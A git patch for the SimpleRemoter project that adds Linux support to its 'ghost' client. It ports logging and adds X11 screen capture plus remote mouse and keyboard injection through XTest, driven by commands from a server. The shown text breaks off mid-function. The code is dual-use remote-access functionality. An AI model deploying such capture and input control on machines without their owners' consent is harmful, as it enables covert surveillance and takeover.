From 0faba931861ee9d0be1739fea0eaf09615cd5669 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 3 Feb 2026 16:24:13 +0100 Subject: [PATCH] Feature: Support remote desktop viewing for Linux --- common/commands.h | 26 +- common/logger.h | 57 ++- linux/CMakeLists.txt | 8 +- linux/ScreenHandler.h | 889 +++++++++++++++++++++++++++++++++ linux/main.cpp | 499 +++++++++++++++++- server/2015Remote/ShellDlg.cpp | 21 +- 6 files changed, 1464 insertions(+), 36 deletions(-) create mode 100644 linux/ScreenHandler.h diff --git a/common/commands.h b/common/commands.h index abd3072..092f156 100644 --- a/common/commands.h +++ b/common/commands.h @@ -46,6 +46,8 @@ typedef void VOID; typedef unsigned char BYTE; typedef BYTE* PBYTE, * LPBYTE; typedef void* LPVOID, * HANDLE; +typedef int32_t LONG; +typedef struct { LONG x; LONG y; } POINT; #define GET_PROCESS(a1, a2) #define MVirtualFree(a1, a2, a3) delete[]a1 @@ -1170,12 +1172,25 @@ public: uint64_t time; POINT pt; +#ifdef _WIN32 MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam), lParam(msg.lParam), time(msg.time), pt(msg.pt) {} MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam), lParam(msg.lParam), time(msg.time), pt(msg.pt) {} + MSG64* Create(const MSG32* msg32) + { + hwnd = msg32->hwnd; + message = msg32->message; + wParam = msg32->wParam; + lParam = msg32->lParam; + time = msg32->time; + pt = msg32->pt; + return this; + } +#endif + MSG64(const void* buffer, int size) { if (size == sizeof(MSG64)) { @@ -1189,17 +1204,6 @@ public: { memset(this, 0, sizeof(MSG64)); } - - MSG64* Create(const MSG32* msg32) - { - hwnd = msg32->hwnd; - message = msg32->message; - wParam = msg32->wParam; - lParam = msg32->lParam; - time = msg32->time; - pt = msg32->pt; - return this; - } }; #ifdef _WIN64 diff --git a/common/logger.h b/common/logger.h index 769df8b..a22d887 100644 --- a/common/logger.h +++ b/common/logger.h @@ -1,11 +1,21 @@ #pragma once +#ifdef _MSC_VER #pragma warning(disable: 4996) +#endif + #ifdef _WIN32 #ifdef _WINDOWS #include #else #include #endif +#include "skCrypter.h" +#else +#include +#include +#include +#endif + #include #include #include @@ -17,7 +27,6 @@ #include #include #include -#include "skCrypter.h" #include #include @@ -41,6 +50,7 @@ public: { static Logger instance; if (instance.pid.empty()) { +#ifdef _WIN32 char buf[16] = {}; sprintf_s(buf, "%d", GetCurrentProcessId()); instance.pid = buf; @@ -57,6 +67,33 @@ public: DWORD size = GetEnvironmentVariableA(name, var, sizeof(var)); instance.enable = stringToBool(var); instance.log("logger.h", __LINE__, "GetEnvironmentVariable: %s=%s\n", name, var); +#endif +#else // Linux + char buf[16] = {}; + snprintf(buf, sizeof(buf), "%d", (int)getpid()); + instance.pid = buf; + // ~/.config/ghost/ 目录写日志 + std::string logDir; + const char* xdg = getenv("XDG_CONFIG_HOME"); + if (xdg && xdg[0]) { + logDir = std::string(xdg) + "/ghost"; + } else { + const char* home = getenv("HOME"); + if (home && home[0]) { + logDir = std::string(home) + "/.config/ghost"; + } else { + logDir = "/tmp"; + } + } + mkdir(logDir.c_str(), 0755); // 确保日志目录存在 + instance.InitLogFile(logDir, instance.pid); + // daemon 模式默认打开日志,可通过 ENABLE_LOG=0 关闭 + const char* envLog = getenv("ENABLE_LOG"); + if (envLog) { + instance.enable = stringToBool(envLog); + } else { + instance.enable = true; + } #endif } return instance; @@ -129,7 +166,11 @@ public: printf("Join failed: %s [%d]\n", e.what(), e.code().value()); } } +#ifdef _WIN32 for (int i = 0; threadRun && i++ < 1000; Sleep(1)); +#else + for (int i = 0; threadRun && i++ < 1000; usleep(1000)); +#endif } private: @@ -143,8 +184,10 @@ private: char fileName[100]; #ifdef _WINDOWS sprintf_s(fileName, "\\YAMA_%s_%s.txt", timeString, pid.c_str()); -#else +#elif defined(_WIN32) sprintf_s(fileName, "\\log_%s_%s.txt", timeString, pid.c_str()); +#else + snprintf(fileName, sizeof(fileName), "/log_%s_%s.txt", timeString, pid.c_str()); #endif logFileName = dir + fileName; } @@ -258,8 +301,14 @@ inline const char* getFileName(const char* path) #else #define Mprintf(format, ...) Logger::getInstance().log(getFileName(__FILE__), __LINE__, format, __VA_ARGS__) #endif -#else +#elif defined(_WIN32) #define Mprintf(format, ...) Logger::getInstance().log(getFileName(skCrypt(__FILE__)), __LINE__, skCrypt(format), __VA_ARGS__) +#else +// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件 +#ifdef Mprintf +#undef Mprintf +#endif +#define Mprintf(format, ...) Logger::getInstance().log(getFileName(__FILE__), __LINE__, format, ##__VA_ARGS__) #endif inline void Log(const char* message) @@ -276,5 +325,3 @@ inline void Logf(const char* file, int line, const char* format, ...) va_end(args); return Logger::getInstance().log(getFileName(file), line, "%s", message); } - -#endif // _WIN32 diff --git a/linux/CMakeLists.txt b/linux/CMakeLists.txt index 4925a75..58f7879 100644 --- a/linux/CMakeLists.txt +++ b/linux/CMakeLists.txt @@ -9,14 +9,13 @@ cmake_minimum_required(VERSION 3.22) # 定义项目名称和版本 project(SimpleRemoter VERSION 1.0) -# 设置编译器标志 - 尝试静态链接所有库 -set(CMAKE_EXE_LINKER_FLAGS "-static") - # 对于C++项目,确保标准库也静态链接 if(CMAKE_CXX_COMPILER_ID STREQUAL "GNU") set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -static-libstdc++ -static-libgcc") endif() +# X11 通过 dlopen 运行时加载,编译时无需 X11 开发库 + include_directories(${CMAKE_SOURCE_DIR}/mterm) # 额外的包含目录 @@ -40,3 +39,6 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g") # 链接 ZSTD 库 message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a") target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a") + +# 链接 dl 库(dlopen/dlsym 用于运行时加载 X11) +target_link_libraries(ghost PRIVATE dl) diff --git a/linux/ScreenHandler.h b/linux/ScreenHandler.h new file mode 100644 index 0000000..b6410e9 --- /dev/null +++ b/linux/ScreenHandler.h @@ -0,0 +1,889 @@ +#pragma once +#include "common/commands.h" +#include "client/IOCPClient.h" +#include +#include +#include +#include +#include +#include + +// Linux 端 BITMAPINFOHEADER 定义,与 Windows 完全一致 +#pragma pack(push, 1) +struct BITMAPINFOHEADER_LNX { + uint32_t biSize; // 40 + int32_t biWidth; + int32_t biHeight; + uint16_t biPlanes; // 1 + uint16_t biBitCount; // 32 + uint32_t biCompression; // 0 (BI_RGB) + uint32_t biSizeImage; + int32_t biXPelsPerMeter; // 0 + int32_t biYPelsPerMeter; // 0 + uint32_t biClrUsed; // 0 + uint32_t biClrImportant; // 0 +}; +#pragma pack(pop) + +// Linux 本地 MSG64 定义(与 Windows MSG64 内存布局完全一致) +// 用于解析服务端发来的鼠标/键盘控制命令 +#pragma pack(push, 1) +struct MSG64_LNX { + uint64_t hwnd; + uint64_t message; + uint64_t wParam; + uint64_t lParam; + uint64_t time; + int32_t pt_x; + int32_t pt_y; +}; +#pragma pack(pop) + +// X11 类型前向声明(避免 #include ) +typedef struct _XDisplay Display; +typedef unsigned long XID; +typedef XID Window; +typedef XID Drawable; +typedef XID Pixmap; +typedef struct _XGC *GC; + +struct XImage { + int width, height; + int xoffset; + int format; + char *data; + int byte_order; + int bitmap_unit; + int bitmap_bit_order; + int bitmap_pad; + int depth; + int bytes_per_line; + int bits_per_pixel; + unsigned long red_mask; + unsigned long green_mask; + unsigned long blue_mask; + // 后续字段省略,XDestroyImage 通过函数指针释放 + void *obdata; + struct funcs { + void *p[8]; // create_image, destroy_image, ... + } f; +}; + +// X11 错误处理(防止 BadMatch 等错误导致进程退出) +static int x11_error_handler(Display* dpy, void* evt) +{ + // 忽略所有 X11 错误,由调用方检查返回值 + return 0; +} + +// XCreateGC 需要的 XGCValues 结构体(布局与 Xlib 一致) +struct XGCValues_LNX { + int function; + unsigned long plane_mask; + unsigned long foreground; + unsigned long background; + int line_width; + int line_style; + int cap_style; + int join_style; + int fill_style; + int fill_rule; + int arc_mode; + unsigned long tile; // Pixmap = XID + unsigned long stipple; // Pixmap = XID + int ts_x_origin; + int ts_y_origin; + unsigned long font; // Font = XID + int subwindow_mode; +}; + +// X11 GC 常量 +#define GCSubwindowMode (1L<<15) +#define IncludeInferiors 1 + +// ============== Windows 消息常量(用于解析服务端控制命令)============== +#define WM_MOUSEMOVE 0x0200 +#define WM_LBUTTONDOWN 0x0201 +#define WM_LBUTTONUP 0x0202 +#define WM_LBUTTONDBLCLK 0x0203 +#define WM_RBUTTONDOWN 0x0204 +#define WM_RBUTTONUP 0x0205 +#define WM_RBUTTONDBLCLK 0x0206 +#define WM_MBUTTONDOWN 0x0207 +#define WM_MBUTTONUP 0x0208 +#define WM_MBUTTONDBLCLK 0x0209 +#define WM_MOUSEWHEEL 0x020A + +#define WM_KEYDOWN 0x0100 +#define WM_KEYUP 0x0101 +#define WM_SYSKEYDOWN 0x0104 +#define WM_SYSKEYUP 0x0105 + +// Windows 滚轮增量宏 +#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16)) + +// X11 Bool 常量 +#ifndef True +#define True 1 +#endif +#ifndef False +#define False 0 +#endif + +// X11 按钮常量 +#define Button1 1 // 左键 +#define Button2 2 // 中键 +#define Button3 3 // 右键 +#define Button4 4 // 滚轮上 +#define Button5 5 // 滚轮下 + +// X11 KeySym 常量(常用键) +#define XK_BackSpace 0xff08 +#define XK_Tab 0xff09 +#define XK_Return 0xff0d +#define XK_Escape 0xff1b +#define XK_Delete 0xffff +#define XK_Home 0xff50 +#define XK_Left 0xff51 +#define XK_Up 0xff52 +#define XK_Right 0xff53 +#define XK_Down 0xff54 +#define XK_Page_Up 0xff55 +#define XK_Page_Down 0xff56 +#define XK_End 0xff57 +#define XK_Insert 0xff63 +#define XK_Shift_L 0xffe1 +#define XK_Shift_R 0xffe2 +#define XK_Control_L 0xffe3 +#define XK_Control_R 0xffe4 +#define XK_Caps_Lock 0xffe5 +#define XK_Alt_L 0xffe9 +#define XK_Alt_R 0xffea +#define XK_Super_L 0xffeb // Win键 +#define XK_Super_R 0xffec +#define XK_F1 0xffbe +#define XK_F2 0xffbf +#define XK_F3 0xffc0 +#define XK_F4 0xffc1 +#define XK_F5 0xffc2 +#define XK_F6 0xffc3 +#define XK_F7 0xffc4 +#define XK_F8 0xffc5 +#define XK_F9 0xffc6 +#define XK_F10 0xffc7 +#define XK_F11 0xffc8 +#define XK_F12 0xffc9 +#define XK_Num_Lock 0xff7f +#define XK_Scroll_Lock 0xff14 +#define XK_KP_0 0xffb0 +#define XK_KP_1 0xffb1 +#define XK_KP_2 0xffb2 +#define XK_KP_3 0xffb3 +#define XK_KP_4 0xffb4 +#define XK_KP_5 0xffb5 +#define XK_KP_6 0xffb6 +#define XK_KP_7 0xffb7 +#define XK_KP_8 0xffb8 +#define XK_KP_9 0xffb9 +#define XK_KP_Multiply 0xffaa +#define XK_KP_Add 0xffab +#define XK_KP_Subtract 0xffad +#define XK_KP_Decimal 0xffae +#define XK_KP_Divide 0xffaf +#define XK_KP_Enter 0xff8d +#define XK_Print 0xff61 +#define XK_Pause 0xff13 +#define XK_space 0x0020 + +// Windows VK 码到 X11 KeySym 的映射表 +static unsigned long VKtoKeySym(unsigned int vk) +{ + // 字母键 A-Z (VK 0x41-0x5A) + if (vk >= 0x41 && vk <= 0x5A) + return vk + 0x20; // 'a'-'z' 的 ASCII/KeySym + + // 数字键 0-9 (VK 0x30-0x39) + if (vk >= 0x30 && vk <= 0x39) + return vk; // '0'-'9' 的 ASCII/KeySym + + // 小键盘数字 VK_NUMPAD0-9 (0x60-0x69) + if (vk >= 0x60 && vk <= 0x69) + return XK_KP_0 + (vk - 0x60); + + // F1-F12 (VK 0x70-0x7B) + if (vk >= 0x70 && vk <= 0x7B) + return XK_F1 + (vk - 0x70); + + // 特殊键映射 + switch (vk) { + case 0x08: return XK_BackSpace; // VK_BACK + case 0x09: return XK_Tab; // VK_TAB + case 0x0D: return XK_Return; // VK_RETURN + case 0x10: return XK_Shift_L; // VK_SHIFT + case 0x11: return XK_Control_L; // VK_CONTROL + case 0x12: return XK_Alt_L; // VK_MENU (Alt) + case 0x13: return XK_Pause; // VK_PAUSE + case 0x14: return XK_Caps_Lock; // VK_CAPITAL + case 0x1B: return XK_Escape; // VK_ESCAPE + case 0x20: return XK_space; // VK_SPACE + case 0x21: return XK_Page_Up; // VK_PRIOR + case 0x22: return XK_Page_Down; // VK_NEXT + case 0x23: return XK_End; // VK_END + case 0x24: return XK_Home; // VK_HOME + case 0x25: return XK_Left; // VK_LEFT + case 0x26: return XK_Up; // VK_UP + case 0x27: return XK_Right; // VK_RIGHT + case 0x28: return XK_Down; // VK_DOWN + case 0x2C: return XK_Print; // VK_SNAPSHOT + case 0x2D: return XK_Insert; // VK_INSERT + case 0x2E: return XK_Delete; // VK_DELETE + case 0x5B: return XK_Super_L; // VK_LWIN + case 0x5C: return XK_Super_R; // VK_RWIN + case 0x6A: return XK_KP_Multiply; // VK_MULTIPLY + case 0x6B: return XK_KP_Add; // VK_ADD + case 0x6D: return XK_KP_Subtract; // VK_SUBTRACT + case 0x6E: return XK_KP_Decimal; // VK_DECIMAL + case 0x6F: return XK_KP_Divide; // VK_DIVIDE + case 0x90: return XK_Num_Lock; // VK_NUMLOCK + case 0x91: return XK_Scroll_Lock; // VK_SCROLL + case 0xA0: return XK_Shift_L; // VK_LSHIFT + case 0xA1: return XK_Shift_R; // VK_RSHIFT + case 0xA2: return XK_Control_L; // VK_LCONTROL + case 0xA3: return XK_Control_R; // VK_RCONTROL + case 0xA4: return XK_Alt_L; // VK_LMENU + case 0xA5: return XK_Alt_R; // VK_RMENU + // 符号键(美式键盘布局) + case 0xBA: return 0x003b; // VK_OEM_1 (;:) + case 0xBB: return 0x003d; // VK_OEM_PLUS (=+) + case 0xBC: return 0x002c; // VK_OEM_COMMA (,<) + case 0xBD: return 0x002d; // VK_OEM_MINUS (-_) + case 0xBE: return 0x002e; // VK_OEM_PERIOD (.>) + case 0xBF: return 0x002f; // VK_OEM_2 (/?) + case 0xC0: return 0x0060; // VK_OEM_3 (`~) + case 0xDB: return 0x005b; // VK_OEM_4 ([{) + case 0xDC: return 0x005c; // VK_OEM_5 (\|) + case 0xDD: return 0x005d; // VK_OEM_6 (]}) + case 0xDE: return 0x0027; // VK_OEM_7 ('") + default: return 0; // 未知键 + } +} + +// X11 函数指针类型 +typedef Display* (*fn_XOpenDisplay)(const char*); +typedef int (*fn_XCloseDisplay)(Display*); +typedef XImage* (*fn_XGetImage)(Display*, Drawable, int, int, unsigned int, unsigned int, unsigned long, int); +typedef int (*fn_XDestroyImage)(XImage*); +typedef int (*fn_XSetErrorHandler)(int (*)(Display*, void*)); +typedef Pixmap (*fn_XCreatePixmap)(Display*, Drawable, unsigned int, unsigned int, unsigned int); +typedef int (*fn_XFreePixmap)(Display*, Pixmap); +typedef GC (*fn_XCreateGC)(Display*, Drawable, unsigned long, void*); +typedef int (*fn_XFreeGC)(Display*, GC); +typedef int (*fn_XCopyArea)(Display*, Drawable, Drawable, GC, int, int, unsigned int, unsigned int, int, int); +typedef int (*fn_XDefaultDepth)(Display*, int); +typedef int (*fn_XSync)(Display*, int); +typedef unsigned long (*fn_XKeysymToKeycode)(Display*, unsigned long); +typedef int (*fn_XFlush)(Display*); +typedef int (*fn_XClearArea)(Display*, Window, int, int, unsigned int, unsigned int, int); + +// XTest 扩展函数指针类型(用于模拟鼠标/键盘输入) +typedef int (*fn_XTestFakeMotionEvent)(Display*, int, int, int, unsigned long); +typedef int (*fn_XTestFakeButtonEvent)(Display*, unsigned int, int, unsigned long); +typedef int (*fn_XTestFakeKeyEvent)(Display*, unsigned int, int, unsigned long); + +// X11 动态加载包装 +class X11Loader +{ +public: + fn_XOpenDisplay pXOpenDisplay; + fn_XCloseDisplay pXCloseDisplay; + fn_XGetImage pXGetImage; + fn_XDestroyImage pXDestroyImage; + + // Xlib 宏的替代:通过偏移读取 Display 内部结构 + // 这些函数通过 dlsym 获取 + typedef int (*fn_XDefaultScreen)(Display*); + typedef int (*fn_XDisplayWidth)(Display*, int); + typedef int (*fn_XDisplayHeight)(Display*, int); + typedef Window (*fn_XRootWindow)(Display*, int); + + fn_XDefaultScreen pXDefaultScreen; + fn_XDisplayWidth pXDisplayWidth; + fn_XDisplayHeight pXDisplayHeight; + fn_XRootWindow pXRootWindow; + + // Pixmap 相关(解决合成窗口管理器下 XGetImage BadMatch 问题) + fn_XSetErrorHandler pXSetErrorHandler; + fn_XCreatePixmap pXCreatePixmap; + fn_XFreePixmap pXFreePixmap; + fn_XCreateGC pXCreateGC; + fn_XFreeGC pXFreeGC; + fn_XCopyArea pXCopyArea; + fn_XDefaultDepth pXDefaultDepth; + fn_XSync pXSync; + fn_XKeysymToKeycode pXKeysymToKeycode; + fn_XFlush pXFlush; + fn_XClearArea pXClearArea; + + // XTest 扩展(用于模拟输入) + fn_XTestFakeMotionEvent pXTestFakeMotionEvent; + fn_XTestFakeButtonEvent pXTestFakeButtonEvent; + fn_XTestFakeKeyEvent pXTestFakeKeyEvent; + + X11Loader() : m_handle(nullptr), m_xtst_handle(nullptr) + { + pXOpenDisplay = nullptr; + pXCloseDisplay = nullptr; + pXGetImage = nullptr; + pXDestroyImage = nullptr; + pXDefaultScreen = nullptr; + pXDisplayWidth = nullptr; + pXDisplayHeight = nullptr; + pXRootWindow = nullptr; + pXSetErrorHandler = nullptr; + pXCreatePixmap = nullptr; + pXFreePixmap = nullptr; + pXCreateGC = nullptr; + pXFreeGC = nullptr; + pXCopyArea = nullptr; + pXDefaultDepth = nullptr; + pXSync = nullptr; + pXKeysymToKeycode = nullptr; + pXFlush = nullptr; + pXClearArea = nullptr; + pXTestFakeMotionEvent = nullptr; + pXTestFakeButtonEvent = nullptr; + pXTestFakeKeyEvent = nullptr; + } + + bool Load() + { + m_handle = dlopen("libX11.so.6", RTLD_LAZY); + if (!m_handle) m_handle = dlopen("libX11.so", RTLD_LAZY); + if (!m_handle) return false; + + pXOpenDisplay = (fn_XOpenDisplay)dlsym(m_handle, "XOpenDisplay"); + pXCloseDisplay = (fn_XCloseDisplay)dlsym(m_handle, "XCloseDisplay"); + pXGetImage = (fn_XGetImage)dlsym(m_handle, "XGetImage"); + pXDestroyImage = (fn_XDestroyImage)dlsym(m_handle, "XDestroyImage"); + pXDefaultScreen = (fn_XDefaultScreen)dlsym(m_handle, "XDefaultScreen"); + pXDisplayWidth = (fn_XDisplayWidth)dlsym(m_handle, "XDisplayWidth"); + pXDisplayHeight = (fn_XDisplayHeight)dlsym(m_handle, "XDisplayHeight"); + pXRootWindow = (fn_XRootWindow)dlsym(m_handle, "XRootWindow"); + + // Pixmap 相关函数 + pXSetErrorHandler = (fn_XSetErrorHandler)dlsym(m_handle, "XSetErrorHandler"); + pXCreatePixmap = (fn_XCreatePixmap)dlsym(m_handle, "XCreatePixmap"); + pXFreePixmap = (fn_XFreePixmap)dlsym(m_handle, "XFreePixmap"); + pXCreateGC = (fn_XCreateGC)dlsym(m_handle, "XCreateGC"); + pXFreeGC = (fn_XFreeGC)dlsym(m_handle, "XFreeGC"); + pXCopyArea = (fn_XCopyArea)dlsym(m_handle, "XCopyArea"); + pXDefaultDepth = (fn_XDefaultDepth)dlsym(m_handle, "XDefaultDepth"); + pXSync = (fn_XSync)dlsym(m_handle, "XSync"); + pXKeysymToKeycode = (fn_XKeysymToKeycode)dlsym(m_handle, "XKeysymToKeycode"); + pXFlush = (fn_XFlush)dlsym(m_handle, "XFlush"); + pXClearArea = (fn_XClearArea)dlsym(m_handle, "XClearArea"); + + // 加载 XTest 扩展库(用于模拟鼠标/键盘输入) + m_xtst_handle = dlopen("libXtst.so.6", RTLD_LAZY); + if (!m_xtst_handle) m_xtst_handle = dlopen("libXtst.so", RTLD_LAZY); + if (m_xtst_handle) { + pXTestFakeMotionEvent = (fn_XTestFakeMotionEvent)dlsym(m_xtst_handle, "XTestFakeMotionEvent"); + pXTestFakeButtonEvent = (fn_XTestFakeButtonEvent)dlsym(m_xtst_handle, "XTestFakeButtonEvent"); + pXTestFakeKeyEvent = (fn_XTestFakeKeyEvent)dlsym(m_xtst_handle, "XTestFakeKeyEvent"); + } + + // 基本 X11 函数必须全部存在;XTest 函数可选(没有时无法控制输入) + return pXOpenDisplay && pXCloseDisplay && pXGetImage && pXDestroyImage && + pXDefaultScreen && pXDisplayWidth && pXDisplayHeight && pXRootWindow && + pXSetErrorHandler && pXCreatePixmap && pXFreePixmap && + pXCreateGC && pXFreeGC && pXCopyArea && pXDefaultDepth && pXSync && + pXKeysymToKeycode && pXFlush; + } + + // 检查 XTest 扩展是否可用 + bool HasXTest() const + { + return pXTestFakeMotionEvent && pXTestFakeButtonEvent && pXTestFakeKeyEvent; + } + + ~X11Loader() + { + if (m_xtst_handle) { + dlclose(m_xtst_handle); + m_xtst_handle = nullptr; + } + if (m_handle) { + dlclose(m_handle); + m_handle = nullptr; + } + } + +private: + void* m_handle; + void* m_xtst_handle; +}; + +class ScreenHandler : public IOCPManager +{ +public: + ScreenHandler(IOCPClient* client) + : m_client(client), m_running(false), m_display(nullptr), + m_inputDisplay(nullptr), + m_width(0), m_height(0), + m_pixmap(0), m_gc(nullptr), m_xtestWarned(false) + { + if (!client) { + throw std::invalid_argument("IOCPClient pointer cannot be null"); + } + + // 动态加载 X11 + if (!m_x11.Load()) { + throw std::runtime_error("Failed to load libX11.so (X11 not installed)"); + } + + // 打开 X11 Display(截屏专用) + m_display = m_x11.pXOpenDisplay(nullptr); + if (!m_display) { + throw std::runtime_error("Failed to open X11 display (no desktop environment?)"); + } + + // 打开独立的 X11 Display(输入控制专用) + // X11 Display 不是线程安全的,截屏线程和回调线程必须使用各自独立的连接 + if (m_x11.HasXTest()) { + m_inputDisplay = m_x11.pXOpenDisplay(nullptr); + } + + // 设置自定义错误处理器,防止 BadMatch 等错误导致进程退出 + m_x11.pXSetErrorHandler(x11_error_handler); + + // 获取默认屏幕信息 + int screen = m_x11.pXDefaultScreen(m_display); + m_width = m_x11.pXDisplayWidth(m_display, screen); + m_height = m_x11.pXDisplayHeight(m_display, screen); + m_root = m_x11.pXRootWindow(m_display, screen); + + // 创建离屏 Pixmap 和 GC(解决合成窗口管理器下 XGetImage 的 BadMatch 问题) + int depth = m_x11.pXDefaultDepth(m_display, screen); + m_pixmap = m_x11.pXCreatePixmap(m_display, m_root, m_width, m_height, depth); + + // GC 必须设置 subwindow_mode = IncludeInferiors, + // 否则 XCopyArea 会裁剪掉子窗口(应用程序窗口),只拷贝 root 背景 + XGCValues_LNX gcv; + memset(&gcv, 0, sizeof(gcv)); + gcv.subwindow_mode = IncludeInferiors; + m_gc = m_x11.pXCreateGC(m_display, m_root, GCSubwindowMode, &gcv); + if (!m_pixmap || !m_gc) { + throw std::runtime_error("Failed to create X11 Pixmap/GC for screen capture"); + } + + // 初始化 BITMAPINFOHEADER + memset(&m_bmpHeader, 0, sizeof(m_bmpHeader)); + m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_LNX); + m_bmpHeader.biWidth = m_width; + m_bmpHeader.biHeight = m_height; + m_bmpHeader.biPlanes = 1; + m_bmpHeader.biBitCount = 32; + m_bmpHeader.biCompression = 0; // BI_RGB + m_bmpHeader.biSizeImage = m_width * m_height * 4; + + // 分配帧缓冲 + m_prevFrame.resize(m_bmpHeader.biSizeImage, 0); + m_currFrame.resize(m_bmpHeader.biSizeImage, 0); + + // 差异帧缓冲: token(1) + algo(1) + cursorXY(8) + cursorType(1) + 最大差异数据 + m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2); + } + + ~ScreenHandler() + { + m_running = false; + if (m_captureThread.joinable()) m_captureThread.join(); + if (m_inputDisplay && m_x11.pXCloseDisplay) { + m_x11.pXCloseDisplay(m_inputDisplay); + m_inputDisplay = nullptr; + } + if (m_display) { + if (m_gc && m_x11.pXFreeGC) m_x11.pXFreeGC(m_display, m_gc); + if (m_pixmap && m_x11.pXFreePixmap) m_x11.pXFreePixmap(m_display, m_pixmap); + m_pixmap = 0; m_gc = nullptr; + // 强制全屏重绘,恢复 VMware SVGA 等虚拟显卡驱动的显示状态 + // XClearArea(display, window, x, y, w, h, exposures) + // w=0, h=0 表示整个窗口;exposures=True 触发 Expose 事件强制所有窗口重绘 + if (m_x11.pXClearArea) { + m_x11.pXClearArea(m_display, m_root, 0, 0, 0, 0, True); + } + m_x11.pXSync(m_display, 0); + if (m_x11.pXCloseDisplay) m_x11.pXCloseDisplay(m_display); + m_display = nullptr; + } + Mprintf(">>> ScreenHandler destroyed, display refreshed\n"); + } + + void Start() + { + bool expected = false; + if (!m_running.compare_exchange_strong(expected, true)) return; + m_captureThread = std::thread(&ScreenHandler::CaptureLoop, this); + } + + // 发送 BITMAPINFOHEADER + ScreenSettings(需在连接后、等待 COMMAND_NEXT 前调用) + void SendBitmapInfo() + { + const uint32_t ulLength = 1 + sizeof(BITMAPINFOHEADER_LNX) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings); + std::vector buf(ulLength, 0); + buf[0] = TOKEN_BITMAPINFO; + memcpy(&buf[1], &m_bmpHeader, sizeof(BITMAPINFOHEADER_LNX)); + uint64_t zero = 0; + memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_LNX)], &zero, sizeof(uint64_t)); + memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_LNX) + sizeof(uint64_t)], &zero, sizeof(uint64_t)); + ScreenSettings settings = {}; + settings.MaxFPS = 10; + memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_LNX) + 2 * sizeof(uint64_t)], &settings, sizeof(ScreenSettings)); + m_client->Send2Server((char*)buf.data(), ulLength); + } + + virtual VOID OnReceive(PBYTE data, ULONG size) + { + if (!size) return; + + switch (data[0]) { + case COMMAND_NEXT: + Start(); + break; + + case COMMAND_SCREEN_CONTROL: + // 处理鼠标/键盘控制命令 + if (size >= 1 + sizeof(MSG64_LNX)) { + HandleInputEvent((MSG64_LNX*)(data + 1)); + } + break; + } + } + + // 处理来自服务端的鼠标/键盘输入事件 + // 使用独立的 m_inputDisplay,避免与截屏线程的 m_display 产生竞争 + void HandleInputEvent(const MSG64_LNX* msg) + { + if (!m_inputDisplay || !m_x11.HasXTest()) { + if (!m_xtestWarned) { + Mprintf("*** XTest not available, cannot handle input ***\n"); + m_xtestWarned = true; + } + return; + } + + unsigned int message = (unsigned int)msg->message; + // 从 lParam 提取坐标 (MAKELPARAM 格式: low 16 bits = x, high 16 bits = y) + // 注意:不使用 pt_x/pt_y,因为 Windows MSG64 结构可能有填充导致偏移不一致 + int x = (int)(msg->lParam & 0xFFFF); + int y = (int)((msg->lParam >> 16) & 0xFFFF); + + switch (message) { + // ================== 鼠标事件 ================== + case WM_MOUSEMOVE: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_LBUTTONDOWN: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button1, True, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_LBUTTONUP: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button1, False, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_LBUTTONDBLCLK: + // 双击:快速按下释放两次 + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button1, True, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button1, False, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button1, True, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button1, False, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_RBUTTONDOWN: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button3, True, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_RBUTTONUP: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button3, False, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_RBUTTONDBLCLK: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button3, True, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button3, False, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button3, True, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button3, False, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_MBUTTONDOWN: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button2, True, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_MBUTTONUP: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + m_x11.pXTestFakeButtonEvent(m_inputDisplay, Button2, False, 0); + m_x11.pXFlush(m_inputDisplay); + break; + + case WM_MBUTTONDBLCLK: + m_x11.pXTestFakeMotionEvent(m_inputDisplay, -1, x, y, 0); + 